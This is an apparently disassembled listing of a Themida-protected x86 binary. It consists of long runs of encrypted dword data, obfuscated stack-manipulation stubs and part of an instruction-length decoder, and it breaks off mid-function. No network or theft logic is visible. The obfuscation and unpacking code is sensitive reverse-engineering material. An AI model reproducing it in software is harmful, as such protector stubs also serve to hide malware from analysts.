		dd 571F8B05h, 5ACF8B66h, 258AEB81h, 8B661675h, 57F381C7h
		dd 0B27379C0h, 0CDC381B1h, 8B1AFA13h, 811F89CFh, 0E59A0AE2h
		dd 3EF8362h, 0D3BF0F4Fh, 0F01EE83h, 0FFFFC885h,	816660FFh
		dd 8B0A2CEAh, 0E41B1195h, 4EB6105h, 6A1F4E45h, 59AE9h
		dd 0C940F300h, 1B9C5CC6h, 0AC2BAE74h, 0C47FF129h, 1D9459C1h
		dd 8712AD7Ah, 0EE345BD6h, 34EEF16Eh, 98820586h,	8E3558D3h
		dd 7384E6DFh, 9AE054EEh, 49C077CDh, 8B785273h, 0F7BBD141h
		dd 0BE3F5B34h, 0D1869C03h, 2F10F756h, 4F05524Dh, 29A36CAFh
		dd 9725A413h, 7642C575h, 7F9E82DCh, 6BE468F8h, 89235E1Fh
		dd 0BC66695Ah, 0BB1ABD3Eh, 5C6CEB6Fh, 6AE02AE7h, 8E9813D8h
		dd 0C87B51CEh, 0B727C597h, 72D8A038h, 0EE69EF0Eh, 58433EFh
		dd 51AFB0B7h, 98794F05h, 652D582h, 5A4600CDh, 1535B093h
		dd 0DED9312Eh, 91BE60CAh, 0EB49B619h, 494F0571h, 4192CD86h
		dd 0C5000000h, 7349C077h, 4E66CCCh, 0FC24864Fh,	14C94E35h
		dd 1BF2Eh, 77DE0000h, 0D67444C3h, 8B0CCC62h, 76F80256h
		dd 1AD7C4E4h, 7D4DD7FBh, 0AC90FAE7h, 82D60BCAh,	0BEA1670h
		dd 5DC5C84Fh, 0EF781F9Eh, 0E562D6CCh, 0D96FEE28h, 13C09813h
		dd 0B7237FDEh, 0CCD9E630h, 0D6A07D6Fh, 2C765F7Dh, 246E2BACh
		dd 0C9933B4h, 229372BEh, 7DFA20A7h, 0D6E265D3h,	3190281Dh
		dd 26D6D0D9h, 0B2A13BB4h, 0A17A0658h, 0A82FAAF4h, 0BDE54510h
		dd 15B1FF74h, 87682Eh, 77AF0000h, 0EB714BC6h, 43D1EB6Eh
		dd 15D83979h, 0AE2FFB9Ah, 0D1839933h, 0BB9BF756h, 78140190h
		dd 68F2E6B3h, 0CD5F6DE6h, 6D3C8C0Fh, 6559D85h, 0A587F85Fh
		dd 74F050Fh, 535F7BD4h,	14F9999Ah, 7EC22Eh, 0CC150000h
		dd 515B0FE6h, 1FF8C27Fh, 6FEE42F3h, 9742D8F0h, 568BB810h
		dd 7B55765h, 79AA2DADh,	0F53D9F63h, 40C773AFh, 4FCA8B97h
		dd 0BB316948h, 0D429A800h, 4F050256h, 6D3065D6h, 5021210h
		dd 0F4A1924Fh, 44C377E7h, 2F8E6D74h, 4E654D6h, 261FD04Fh
		dd 4F04E644h, 0A7136FA0h, 290E7720h, 0C34F04E6h, 0E042A302h
		dd 5C4F04E5h, 6C943E9Bh, 0EE69EC36h, 0C972D125h, 19B2E14h
		dd 32000000h, 0EC6EC277h, 0B9EA5973h, 8E09CCD6h, 31AA203Ah
		dd 9A77A89Bh, 2CAF2C3Eh, 51CE8E9Ch, 0F26DE17Bh,	0B3FFCBE6h
		dd 9B876D7Bh, 5578FF7Ah, 0C52EB562h, 18881B5Dh,	0F3C94E0Ah
		dd 7BDA0F40h, 0E958BD0Ah, 0B6E8C254h, 122E0841h, 68A2CC89h
		dd 0A89AB244h, 0FACE0323h, 0AD70EB60h, 0E860C075h, 0B5AE3A6Fh
		dd 0BCE6C5D8h, 352EBA3Dh, 3EB93E58h, 26B5B5AAh,	0B71554E9h
		dd 0AA2DAA4Bh, 803FBFEBh, 4F5E3B28h, 22E564D3h,	0B60710C8h
		dd 3E9B5660h, 49CB809Ah, 0D80F62D9h, 0FEF66A08h, 85AF7955h
		dd 47E5F728h, 0B8421691h, 1C2EBA35h, 7D4DDC5Fh,	0A72EFD35h
		dd 1DAAC74Bh, 2DE67649h, 0EF3B61A1h, 23017E6Bh,	8154E90Ah
		dd 56B01D4Eh, 936766E1h, 33F8EDB0h, 152D9h, 0E6CC7C00h
		dd 8494834Eh, 0C94E0A08h, 420F40F3h, 0D9BC3EF7h, 0E917FBE4h
		dd 0AE419B54h, 0A12C304Eh, 0ABF7568Bh, 0B011AB2Eh, 0E8E8ED4Fh
		dd 5B8C4F54h, 8B40DAFEh, 0C42E8D10h, 7BA36821h,	137FD82Eh
		dd 759725A4h, 0AA8047C6h, 0CF1C4CC6h, 40F20C0Bh, 957EF5C7h
		dd 37B625C7h, 0D9B4B7A5h, 48ADEF16h, 7025BB3Eh,	0A0EFF6AFh
		dd 0E5451748h, 40DB131Fh, 60D7367Ah, 2F14E6E9h,	5833F903h
		dd 6Dh,	0E862D8FFh, 0E6AAD825h,	49514F04h, 84BF0D84h, 219BBF4Ah
		dd 96430A04h, 30912BECh, 0D844951h, 5B956D4h, 0A865D64Fh
		dd 5B8E94Bh, 2FAA2B4Fh,	51C88F9Dh, 0F168E17Bh, 0F25868DBh
		dd 687F468Eh, 57008732h, 455D070Bh, 8E451796h, 27B476C5h
		dd 493CCAA6h, 0EEB1E2D2h, 52BE391h, 2697414Fh, 98B89CB3h
		dd 1CC3C237h, 67h, 6FE6CC4Bh, 0E243F127h, 8F78339Ch, 98754A0Dh
		dd 0D454E9EBh, 4B34963h, 53180285h, 0D85F80D8h,	8254E9CBh
		dd 5219F838h, 14C1B4DBh, 0E3CE3796h, 0B75AD358h, 0D3998144h
		dd 0F4DDFF58h, 15DBD39Eh, 44114DD6h, 81339D5Ah,	2787D506h
		dd 0A21B555Dh, 849E7D20h, 0D00359D2h, 9B33E07h,	14C754FCh
		dd 46081271h, 0D84B00CDh, 0D52AED6Fh, 54EE73CEh, 725369AAh
		dd 46970018h, 10FD865Eh, 7C641F6h, 0C1DD5FA0h, 290F54EEh
		dd 0BA8ABB76h, 0B788DDC9h, 54EE8DB5h, 0C693C437h, 7DFC7BA7h
		dd 6BB4F86Fh, 0DEA8C4E5h, 2C8433D2h, 0D65105AFh, 4C1C5182h
		dd 6DCF3097h, 0CFB9245Bh, 6EB4DB0Ch, 8B9047E9h,	245AB8BAh
		dd 8EC334B9h, 5C460F5Dh, 994A1E99h, 834CCF8Dh, 0E5AD587h
		dd 0EBC17AFCh, 4A1E9951h, 24EC14F6h, 2FCE3298h,	0E042A3A8h
		dd 0CB9245Ah, 89BD0427h, 52BC2622h, 9E5567E0h, 0CD5578ADh
		dd 42201D0Eh, 0A2B92466h, 41593C71h, 8BB8108Bh,	0DFCB8ACEh
		dd 17CC9C1Bh, 30BBAh, 6520000h,	4DC47751h, 0EF6EED7Fh
		dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h
		dd 3EB930CAh, 5FD890AAh, 4968B30Dh, 89000045h, 8953240Ch
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 242C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	5E98D84h
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		mov	eax, 8
		add	eax, ebx
		push	edi
		mov	edi, ebp
		mov	[eax], edi
		pop	edi
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		db 87h,	7Bh, 32h
		dd 9978FFE8h, 524743D5h, 0B8D2A550h, 5E99295h, 0E0FFC503h
		dd 56FF45DAh, 4C9C9F18h, 7D9B0687h, 225AD8B6h, 49ED72E9h
		dd 790C9ECAh, 427F2473h, 583852E0h, 40487CA5h, 3EA0AAA2h
		dd 476B8857h, 6C6A6BB5h, 1CF6FDC5h, 40345931h, 34519CB0h
		dd 796D6821h, 358F827Eh, 5BB60AF9h, 24544CC8h, 66AED140h
		dd 10DC9B62h, 2DEBh, 0DD00000h,	319CBFAEh, 0ADF9DFF2h
		dd 8C88A7A5h, 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 68009D89h
		dd 14672681h, 7403B2BDh, 0E9499DBDh, 0A2Ch, 0E9949D68h
		dd 0EA0CE905h, 0D568FFFAh, 0E905E995h, 0FFFAEA02h, 0E996CF68h
		dd 0E9F8E905h, 8968FFFAh, 0E905E997h, 0FFFAE9EEh, 0E9983368h
		dd 0E9E4E905h, 0F668FFFAh, 0E905E998h, 0FFFAE9DAh, 0E999C368h
		dd 0E9D0E905h, 8E68FFFAh, 0E905E99Bh, 0FFFAE9C6h, 0E99C9068h
		dd 0E9BCE905h, 0FD7EFFFAh, 13C74342h, 0A029F194h, 0FA7CA629h
		dd 11C45E41h, 9726F796h, 0B1D45302h, 6B6AE569h,	1FBE39BFh
		dd 0B2D55403h, 96B540Bh, 6B54EE7Ah, 6DCC461Dh, 0B7058435h
		dd 0E5E547BCh, 94474F04h, 587703Bh, 79997D42h, 34E754EEh
		dd 0AC98F251h, 6E04324Dh, 0A587F85Fh, 754EE1Ch,	581F7BD4h
		dd 0F764BE21h, 0BC696474h, 9028A717h, 56AF6EA3h, 5AD7B051h
		dd 67A362D5h, 0CC5679F0h, 813C8C0Fh, 8EF756D4h,	54E9BC5Dh
		dd 0A47176B9h, 571C3E4Ah, 8A53C85h, 69EA0000h, 8733EFEEh
		dd 0D4859D00h, 66E83255h, 0BD30EAEDh, 2B8A8302h, 5D40FF7Eh
		dd 0F79611C5h, 0AB2AAD2Bh, 5E41F87Fh, 9D9FE0A7h, 1F54EE79h
		dd 0C0773269h, 62E97349h, 2491E4EBh, 1A00E7A6h,	377CD95Eh
		dd 54E8FCD2h, 548B2112h, 54E8FBD2h, 0B5078032h,	11AB2697h
		dd 76BEE248h, 529B8763h, 33F8E2F1h, 251Ah, 6FD8BD00h, 60D52AEDh
		dd 0DC54E908h, 0EA6EB41Bh, 3728A06Dh, 54E90831h, 0BC2CE9Ch
		dd 33F8EB38h, 0F0A1h, 0C077F400h, 0CB379950h, 2D1E9BE5h
		dd 51C88D9Fh, 0F36AE17Bh, 159443D9h, 0A6A88D72h, 27944F05h
		dd 3D02E1A4h, 4F05A43Fh, 0E917ABDh, 6124A714h, 0A3BFBD82h
		dd 0FA3D4F05h, 510EBB11h, 75AD0CD3h, 8AE8D5C6h,	0EA4F05A4h
		dd 0DA1BF429h, 54E9C669h, 0D651041Eh, 0FA845182h, 8EF75639h
		dd 54E981ACh, 7B0AC708h, 72D55700h, 9F2DA628h, 826BC936h
		dd 6C954E9h, 0CA43F9D5h, 0A0412785h, 342F10F7h,	405ACFA9h
		dd 3169C88Fh, 4E4805BCh, 0AFB4398Fh, 797D456h, 0AA9F504Fh
		dd 0C88C9679h, 27E3824Fh, 69B23BB6h, 9E22202Eh,	76D7B3Ah
		dd 31A20000h, 4F0B17B6h, 9C5DC5C8h, 2EA07A1Dh, 450812B5h
		dd 6352CBCAh, 85088736h, 3F5ED99Dh, 0D3F275E3h,	86098037h
		dd 0D557A8FFh, 5754EE7Ah, 0C6777A51h, 0D99E844Bh, 48D2F55Eh
		dd 26850883h, 10FD7EFCh, 61D6CCBBh, 914E2DE6h, 0FA734C13h
		dd 7A54E907h, 3A3C23B9h, 9554E908h, 0E661D4CEh,	0A861A12Dh
		dd 33F8EADBh, 0C80Ch, 0C0774B00h, 0DD9C8649h, 78D50E5Ah
		dd 0A2297150h, 0E5E644B9h, 95464F04h, 2AABF7A0h, 3409E8AFh
		dd 4F04E636h, 0C08845B6h, 4EA161Fh, 2A55BD4Fh, 0D76D9CD5h
		dd 6AE12DE6h, 8136ECF3h, 9D2FAA2Fh, 889275A6h, 6DEA6EC0h
		dd 57B3A038h, 21AB64E3h, 9679FBB4h, 5D1BFBCh, 523FB5A0h
		dd 31C1B2F3h, 0DA1D54E9h, 9517C0BBh, 9445CD32h,	20135ACFh
		dd 10B0257Dh, 5C52C759h, 0EC3D4F88h, 0C13221BBh, 169144DEh
		dd 2084B051h, 68C98322h, 673h, 19BC37B8h, 0CFCE4901h, 7C63E653h
		dd 14BB34A6h, 0CDD04F0Eh, 894C5D58h, 23938F0Eh,	73F921A4h
		dd 8E4DD5F8h, 92F1880Fh, 0EE7BCFADh, 5F2D54h, 444BC677h
		dd 0FF9E19DEh, 0DBC0776Eh, 4E688EAh, 0D733E44Fh, 65DEEA65h
		dd 0D5829830h, 6F7DFC7Bh, 0E61B1966h, 56994F04h, 50AD3065h
		dd 4F04E5CEh, 53D12E8Dh, 0D14F04E6h, 0D750041Eh, 44C6BF7Ah
		dd 794EBC81h, 6DAE54EEh, 40FB70AAh, 8E16C55Dh, 13AB0615h
		dd 90EDB0DEh, 54EE9E92h, 0DCEC2112h, 0DB2434E1h, 54EE9F59h
		dd 4BE39BBh, 31330CD3h,	0B354EE9Fh, 77480F40h, 5AD2C7AEh
		dd 97AC0DCEh, 9C22154Fh, 5B9753Ch, 7DFE0000h, 9347C3C2h
		dd 20A97114h, 7AFC26A9h, 9144DEC1h, 17A67716h, 3154D382h
		dd 0EBEA65E9h, 9F3EB93Fh, 3255D483h, 89EBD48Bh,	0EB54EE7Dh
		dd 0C077C69Dh, 0DE278649h, 4F04E65Ch, 1EBA17D8h, 0FCCC4F0Ch
		dd 789999E1h, 0C6FF61F3h, 0D09A7741h, 390AF89Fh, 0A22E14D3h
		dd 0Fh,	0DB560703h, 0C49108CFh,	14C2C97h, 527B0000h, 4F04E5CCh
		dd 24B52EE7h, 0E1AE9A1Ah, 2815F82Dh, 54EF2ECFh,	911F427h
		dd 0E876E242h, 64BE0E08h, 598AFFCCh, 0EC6FEC36h, 0B634E1DCh
		dd 2145EED7h, 9E515AD2h, 15A734D9h, 0FC451722h,	50Fh, 75189344h
		dd 2BAA2DADh, 0D8FF7AFFh, 70179042h, 29AC2BAAh,	65E8C1FCh
		dd 0BF3FEBEAh, 0D7859D00h, 62E93154h, 0E5DE4EBh, 0EE7E3331h
		dd 9CCBB154h, 7349C077h, 24EB62E9h, 106D78FEh, 4F04E612h
		dd 5C6CA192h, 13AE2AE7h, 65E2564Ch, 8706B557h, 0D5DDF952h
		dd 0A9968734h, 4F04E5CBh, 12B5E629h, 14C96320h,	7942Eh
		dd 2CC30000h, 9Ah, 0ED6FD87Bh, 0E76F4B2Ah, 19D17DC8h, 987C450Eh
		dd 0E454EEF7h, 81366C33h, 0DC9B8706h, 2A1BFA5Dh, 54EED348h
		dd 32A673A4h, 894CCE87h, 0D86633B4h, 9D40B35Ah,	3057D685h
		dd 0DEEA6DEAh, 0E5A82AE3h, 0E9964B98h, 4368AB54h, 1C3E95E0h
		dd 4C7CC597h, 81000004h, 0EA3057CEh, 3CE6E96Eh,	8F9B3ABDh
		dd 0D73352CDh, 33E4EB66h, 29A01584h, 7FF87CA6h,	9314C258h
		dd 26A1160Ch, 744918A7h, 54EE7DF6h, 0CC5B3076h,	2382056Dh
		dd 0C9238EC4h, 5219A98h, 7CD91A4Fh, 12349h, 6DCC9C00h
		dd 850E4305h, 0CF34549Bh, 4F052A6Dh, 0E8430CCFh, 0F0DABD3Fh
		dd 7932148Ch, 4A1DF618h, 0BF3ABFEBh, 9A77F263h,	0EF3E7155h
		dd 0B725CF54h, 7AAFA434h, 51C88F9Bh, 0ED036F4Eh, 71CD7F1Ch
		dd 0EA61AD66h, 12785973h, 0FE57F311h, 0D9907D81h, 0D62FEE6Ch
		dd 5AD80DD1h, 0E723E255h, 0F7D6F970h, 4D6BE9Bh,	47109DB3h
		dd 4F1D9C5Bh, 0DD5E1C06h, 4ECCB970h, 1065B68Fh,	4E8154EAh
		dd 3E181069h, 18D9731Ch, 37Fh, 58803B4h, 0BBDA5D1Dh, 686FEA6Fh
		dd 8700B2h, 0B9DC5B1Ah,	9558516Ch, 2FAF7B1Ah, 47F52DB0h
		dd 9259C1C4h, 9ECD741Bh, 0EE7EC3A1h, 0C5B2154h,	7349C077h
		dd 0D1EB62E9h, 5BBAE6C4h, 60BA1D9Ch, 69972EDh, 14C94F34h
		dd 8D4A502Eh, 0FE79F00Ah, 219C79EAh, 44h, 22AAA882h, 4233E91Ch
		dd 0E6CCC089h, 443E8AACh, 47329F55h, 74490C8Eh,	54E97F22h
		dd 0D4CE9142h, 2E3E265h, 54E8E71Dh, 14FB72F9h, 0F8D04F0Eh
		dd 0A49C3E52h, 95C68B8Dh, 0FC7DA538h, 0E4866F7Dh, 0D1000002h
		dd 7246C177h, 25E863E8h, 0EEFA7DFDh, 0A6059875h, 907DFE7Ch
		dd 7246C176h, 0E5E863E8h, 5CDE2786h, 0D84F04E6h, 6FFBA17h
		dd 1BFCC184h, 5B54E8FDh, 191FC098h, 0B454E8FCh,	11F0AAD6h
		dd 0E8FC4E2Ch, 0A06DAE54h, 0F8E2F54Eh, 396633h,	0D8B10000h
		dd 0D52AED6Fh, 54E90860h, 18632DCh, 57D52AABh, 0D554E908h
		dd 0ECFC3162h, 8138BDE5h, 999D2755h, 0A962F8C5h, 0E90FE648h
		dd 99996154h, 0F8F2F350h, 0F46433h, 77B30000h, 6EE960C0h
		dd 0D89DAF3Dh, 604A0BA1h, 0A176A8D0h, 11C4DE35h, 1AD13D96h
		dd 8433C9E3h, 0D365911Ch, 2314F4D7h, 36B1267Ch,	0C1E4B1A2h
		dd 0B932B8E2h, 118E97DCh, 0C98E4F05h, 9A5FF167h, 0A5964D1Fh
		dd 0E4EBDC17h, 5ED99D85h, 4AA21474h, 0CD996Eh, 82D65106h
		dd 399C1ED7h, 0E94BB7C4h, 21A49754h, 0B41B9956h, 2B0976D5h
		dd 8954E937h, 3CBF3C46h, 95DAB7ACh, 5ACFDFE5h, 5ACE8943h
		dd 0BB118A40h, 0D29E4E88h, 4625E8DDh, 6F1FB79h,	0DDB6794Fh
		dd 0B5D100Ah, 0F097C84Fh, 8F2CAB2Ah, 2220D5A0h,	0B48C75E7h
		dd 0F9000001h, 42D8FF76h, 948E1196h, 0E723A225h, 4FDBFA75h
		dd 9B8C138Eh, 51C88D1Ch, 0E760D44Eh, 3BBC3AE0h,	4EC98E94h
		dd 0ECD1B04Fh, 54EE818Eh, 77C398EEh, 65444BC6h,	0A729BB3Dh
		dd 72A79C2Ch, 56FE7D99h, 533267E0h, 4C098037h, 6FD8AC39h
		dd 7A4B2AEDh, 4F04E5F8h, 77D68374h, 0E908350Eh,	7A4E8154h
		dd 0E90863C5h, 0BBE7EE54h, 89D5BE39h, 0EB034089h, 869C33F8h
		dd 8C4C56D1h, 0CA174E0Bh, 46000000h, 7349C077h,	0EAF464E9h
		dd 0F7E65C71h, 8BBC0C41h, 4F0589A2h, 23A22592h,	0E3F970E7h
		dd 0D4BB39F6h, 0F87D1D75h, 66E557C3h, 5DC1B19h,	6556994Fh
		dd 6B22D529h, 0F25FAF24h, 0E96F008Dh, 0F49B5C54h, 0F756D481h
		dd 0DCB729ABh, 9B170EE2h, 0F66D7FB0h, 0BFEB4A1Dh, 0ECD5BE39h
		dd 5AD0517Dh, 9077D619h, 8F48CF8Ah, 534ED283h, 5C2AF59Bh
		dd 0D54D5085h, 910AC060h, 5D3A1F5Ch, 0DF7D2220h, 0B216h
		dd 0FD74E700h, 0F8840DAh, 0A0279288h, 0F873E53Dh, 11884DD5h
		dd 8B1E998Eh, 0D2484FCAh, 38E2E562h, 8C9639B2h,	0B2494CCFh
		dd 829092D3h, 9EEC54EEh, 4BC677C1h, 0B93D6544h,	0E5D153ACh
		dd 0E0534F04h, 6D261DAFh, 0AC33AA21h, 49C0773Bh, 0EB62E973h
		dd 0A62491E4h, 793E9EE7h, 79BA54EEh, 9B12D963h,	0BCA92EF4h
		dd 0EE78E143h, 5F904354h, 0B037A2F8h, 2872F5E7h, 1CA1629Ch
		dd 38BF5E42h, 1D5DC798h, 201596DAh, 77F665BDh, 9A15C765h
		dd 0F36EEF3Bh, 0EAB226h, 0EA6AE100h, 0E84B2DF5h, 0AF2E638Ah
		dd 0E760D2C8h, 69B51ED5h, 90516BE2h, 3,	775106C7h, 0ED7F4DC4h
		dd 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch, 6785D752h, 0DB617BF6h
		dd 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 5E08950h, 4, 8704E883h
		dd 248B2404h, 63C66824h, 2C890000h, 356F6824h, 0C890000h
		dd 9B85024h, 5005E994h,	0D4243481h, 5D4C4632h, 32D4F581h
		dd 83584C46h, 248904ECh, 24048124h, 4, 4EC8159h, 89000000h
		dd 418F242Ch, 2434FF08h, 4C48159h, 0FF000000h, 815D2434h
		dd 4C4h, 0DFF4E900h, 5871FFFAh,	0ECF368FFh, 2BA96030h
		dd 0E99D67B8h, 0FFC50305h, 59A17E0h, 0E7C9D774h, 6CC09E17h
		dd 0F2D18211h, 48D1AE77h, 0A04AC96Bh, 3C59AD07h, 7794B42Ah
		dd 0C5895C01h, 66569B37h, 0D8E8C25Ah, 0D94F707Ah, 0DE088160h
		dd 3AC8D40Ah, 0E472472Fh, 1403AD54h, 0AA527259h, 28CE8150h
		dd 795A464Dh, 936D263Eh, 0A8F9123Ah, 27FED123h,	0C169657Ch
		dd 6B8F059h, 92D5DC4Dh,	118D8D4Fh, 8905E99Fh, 0E430B99Dh
		dd 958D8905h, 8905E410h, 0E40975B5h, 6585C705h,	1C05E42Ch
		dd 8B000075h, 0E412EDBDh, 0FD85C705h, 5E430h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0A394C353h, 0FF0BDE99h, 0E4240DB5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 958BFA09h, 5E41401h,	2A6195FFh, 6A05E4h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 1CFE5C3h
		dd 4EDB006Fh, 0E879BB1Dh, 10h, 94FD70AEh, 0DCC686F8h, 0EF3D063Fh
		dd 8EB6121Dh, 18498589h, 6A5805E4h, 0C195FF00h,	8B05E410h
		dd 0DB39EBC0h, 0B37C077Ch, 346046Bh, 7490C391h,	0CC330579h
		dd 0F17AEEBCh, 0CF8D2191h, 0C23E7019h, 0A704AAF5h, 7B9570F6h
		dd 45C86428h, 3C9C6EA4h, 75F9D56Fh, 0A656974Eh,	0C33BCE10h
		dd 1C8E9h, 8 dup(41888800h), 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 100h, 14h dup(0)
		dd 6380C300h, 7577EDh, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
		dd 27ED815Dh, 6005E9A1h, 0A07485C7h, 5E9h, 81660000h, 0FA1663Eh
		dd 0F85h, 7885C700h, 605E9A0h, 0E9000000h, 24h,	0A07C858Dh
		dd 8D5005E9h, 0E9A0CC85h, 6A565005h, 1DE800h, 0C4830000h
		dd 0FF2510h, 85890000h,	5E9A078h, 78B50361h, 8B05E9A0h
		dd 0E9A07485h
		db 5, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_59897C
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_598988
; ---------------------------------------------------------------------------


loc_59897C:				; CODE XREF: Themida_:00598965j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_598988:				; CODE XREF: Themida_:00598977j
		push	ebx
		push	esi
		push	edi


loc_59898B:				; CODE XREF: Themida_:005989E0j
					; Themida_:005989FCj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_59899E:				; CODE XREF: Themida_:005989C5j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5E9A1DEh
		lea	ebp, [ebp+5E9A054h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5989CB
		inc	cl
		cmp	cl, 0Bh
		jb	loc_59899E


loc_5989CB:				; CODE XREF: Themida_:005989BAj
		cmp	cl, 0Bh
		jz	loc_598A28
		cmp	al, 66h
		jnz	loc_598A09
		cmp	byte ptr [ebp-5], 0
		jnz	loc_59898B
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_598A01
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_59898B
; ---------------------------------------------------------------------------


loc_598A01:				; CODE XREF: Themida_:005989EEj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_598A09:				; CODE XREF: Themida_:005989D6j
		cmp	al, 67h
		jnz	loc_59898B
		cmp	byte ptr [ebp-6], 0
		jnz	loc_59898B
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_59898B
; ---------------------------------------------------------------------------


loc_598A28:				; CODE XREF: Themida_:005989CEj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_598A54
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_598A59
; ---------------------------------------------------------------------------


loc_598A54:				; CODE XREF: Themida_:00598A33j
		movzx	edi, al
		shr	edi, 1


loc_598A59:				; CODE XREF: Themida_:00598A4Fj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5E9A296h
		lea	ebp, [ebp+5E99F54h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_598BDB
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_598B1F
		dec	ecx
		jz	loc_598B02
		dec	ecx
		jnz	loc_598B72
		cmp	byte ptr [ebp-2], 0
		jnz	loc_598B6E
		cmp	byte ptr [ebp-5], 0
		jz	loc_598AE1
		mov	byte ptr [ebp+0Bh], 2


loc_598AE1:				; CODE XREF: Themida_:00598AD7j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5E9A322h
		mov	dword ptr [ebp+5E9A074h], 1
		pop	ebp
		jmp	loc_598B72
; ---------------------------------------------------------------------------


loc_598B02:				; CODE XREF: Themida_:00598ABCj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_598B4C
		cmp	byte ptr [ebp-5], 0
		jz	loc_598B4C
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_598B4C
; ---------------------------------------------------------------------------


loc_598B1F:				; CODE XREF: Themida_:00598AB5j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_598B65
		cmp	byte ptr [ebp-5], 0
		jz	loc_598B54
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_598B4C
		mov	[ebp+0Bh], cl


loc_598B4C:				; CODE XREF: Themida_:00598B06j
					; Themida_:00598B10j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_598B72
; ---------------------------------------------------------------------------


loc_598B54:				; CODE XREF: Themida_:00598B2Dj
		cmp	dl, 5
		jnz	loc_598B72
		mov	[ebp+0Bh], dl
		jmp	loc_598B72
; ---------------------------------------------------------------------------


loc_598B65:				; CODE XREF: Themida_:00598B23j
		cmp	dl, 6
		jnz	loc_598B72


loc_598B6E:				; CODE XREF: Themida_:00598ACDj
		mov	byte ptr [ebp+0Bh], 3


loc_598B72:				; CODE XREF: Themida_:00598AC3j
					; Themida_:00598AFDj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_598BA0
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_598B82:				; CODE XREF: Themida_:00598B98j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_598B82
		mov	esi, edx


loc_598BA0:				; CODE XREF: Themida_:00598B75j
		and	al, 0FEh
		cmp	al, 0F6h
